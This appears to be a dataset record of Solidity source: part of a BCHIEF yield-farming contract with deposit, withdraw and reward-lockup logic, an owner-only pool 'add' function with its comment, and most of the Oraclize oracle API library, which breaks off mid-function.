= pool.token.balanceOf(address(this)); if (block.timestamp > pool.lastRewardTimestamp && tokenSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardTimestamp, block.timestamp); uint256 bChiefReward = multiplier.mul(bChiefPerSec).mul(pool.allocPoint).div(totalAllocPoint); accBChiefPerShare = accBChiefPerShare.add(bChiefReward.mul(1e12).div(tokenSupply)); } uint256 pending = user.amount.mul(accBChiefPerShare).div(1e12).sub(user.rewardDebt); return pending.add(user.rewardLockedUp); } // View function to see if user can harvest BCHIEFs. function canHarvest(uint256 _pid, address _user) public view returns (bool) { UserInfo storage user = userInfo[_pid][_user]; return block.timestamp >= user.nextHarvestUntil; } function tvl(uint256 _pid) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; return pool.tvl; } function apr(uint256 _pid) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; uint256 reward = uint256(86400).mul(365).mul(bChiefPerSec).mul(pool.allocPoint).div(totalAllocPoint); if (reward > 0) { return tvl(_pid) > 0 ? reward.mul(1e12).div(tvl(_pid)) : 0; } return 0; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.timestamp <= pool.lastRewardTimestamp) { return; } uint256 tokenSupply = pool.token.balanceOf(address(this)); if (tokenSupply == 0 || pool.allocPoint == 0) { pool.lastRewardTimestamp = block.timestamp; return; } uint256 multiplier = getMultiplier(pool.lastRewardTimestamp, block.timestamp); uint256 bChiefReward = multiplier.mul(bChiefPerSec).mul(pool.allocPoint).div(totalAllocPoint); // bChief.mint(address(this), bChiefReward); pool.accBChiefPerShare = pool.accBChiefPerShare.add(bChiefReward.mul(1e12).div(tokenSupply)); pool.lastRewardTimestamp = block.timestamp; } // Deposit tokens for BCHIEF allocation. function deposit(uint256 _pid, uint256 _amount) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (shouldUpdatePoolsByUser) { updatePool(_pid); } payOrLockupPendingBChief(_pid); if (_amount > 0) { uint transferredAmount = deflationaryTokenTransfer(IERC20(pool.token), address(msg.sender), address(this), _amount); if (pool.depositFeeBP > 0) { uint256 feeAmount = transferredAmount.mul(pool.depositFeeBP).div(10000); pool.token.safeTransfer(feeRecipient, feeAmount); transferredAmount = transferredAmount.sub(feeAmount); } user.amount = user.amount.add(transferredAmount); pool.tvl = pool.tvl.add(transferredAmount); } user.rewardDebt = user.amount.mul(pool.accBChiefPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw tokens. function withdraw(uint256 _pid, uint256 _amount) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); payOrLockupPendingBChief(_pid); if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.token.safeTransfer(address(msg.sender), _amount); pool.tvl = pool.tvl.sub(_amount); } user.rewardDebt = user.amount.mul(pool.accBChiefPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; user.rewardLockedUp = 0; user.nextHarvestUntil = 0; pool.token.safeTransfer(address(msg.sender), amount); pool.tvl = pool.tvl.sub(amount); emit EmergencyWithdraw(msg.sender, _pid, amount); } // Pay or lockup pending BCHIEFs. function payOrLockupPendingBChief(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; if (user.nextHarvestUntil == 0) { user.nextHarvestUntil = block.timestamp.add(pool.harvestInterval); } uint256 pending = user.amount.mul(pool.accBChiefPerShare).div(1e12).sub(user.rewardDebt); if (canHarvest(_pid, msg.sender)) { if (pending > 0 || user.rewardLockedUp > 0) { uint256 totalRewards = pending.add(user.rewardLockedUp); // reset lockup totalLockedUpRewards = totalLockedUpRewards.sub(user.rewardLockedUp); user.rewardLockedUp = 0; user.nextHarvestUntil = block.timestamp.add(pool.harvestInterval); // send rewards safeBChiefTransfer(msg.sender, totalRewards); } } else if (pending > 0) { user.rewardLockedUp = user.rewardLockedUp.add(pending); totalLockedUpRewards = totalLockedUpRewards.add(pending); emit RewardLockedUp(msg.sender, _pid, pending); } } // Safe bChief transfer function, just in case if rounding error causes pool to not have enough BCHIEFs. function safeBChiefTransfer(address _to, uint256 _amount) internal { uint256 bChiefBal = bChief.balanceOf(address(this)); if (_amount > bChiefBal) { bChief.transfer(_to, bChiefBal); } else { bChief.transfer(_to, _amount); } } // Safe bChief transfer function, just in case if rounding error causes pool to not have enough BCHIEFs. function deflationaryTokenTransfer(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (uint256) { uint256 beforeBal = _token.balanceOf(_to); _token.safeTransferFrom(_from, _to, _amount); uint256 afterBal = _token.balanceOf(_to); if (afterBal > beforeBal) { return afterBal.sub(beforeBal); } return 0; } // Pancake has to add hidden dummy pools in order to alter the emission, here we make it simple and transparent to all. function updateEmissionRate(uint256 _bChiefPerSec) public onlyOwner { massUpdatePools(); emit EmissionRateUpdated(msg.sender, bChiefPerSec, _bChiefPerSec); bChiefPerSec = _bChiefPerSec; } function setShouldUpdatePoolsByUser(bool _yesOrNo) external onlyOwner { shouldUpdatePoolsByUser = _yesOrNo; } }
Add a new lp to the pool. Can only be called by the owner. XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _token, uint256 _harvestInterval, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner { require(_harvestInterval <= MAXIMUM_HARVEST_INTERVAL, "add: invalid harvest interval"); require(_depositFeeBP < 10000, 'invalid deposit fee'); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardTimestamp = block.timestamp > startTimestamp ? block.timestamp : startTimestamp; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ token: _token, allocPoint: _allocPoint, lastRewardTimestamp: lastRewardTimestamp, accBChiefPerShare: 0, harvestInterval: _harvestInterval, tvl: 0, depositFeeBP: _depositFeeBP })); }
11,774,042
// <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns (bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60 * 60 * 24; uint constant week = 60 * 60 * 24 * 7; uint constant month = 60 * 60 * 24 * 30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if ((address(OAR) == 0) || (getCodeSize(address(OAR)) == 0)) oraclize_setNetwork(networkID_auto); if (address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns (bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns (bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) {//mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) {//ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) {//kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) {//rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) {//ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) {//ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) {//browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice * 200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice * gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns (uint _size) { assembly { _size := extcodesize(_addr) } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((bresult[i] >= 48) && (bresult[i] <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10 ** _b; return mint; } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1) / 23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory 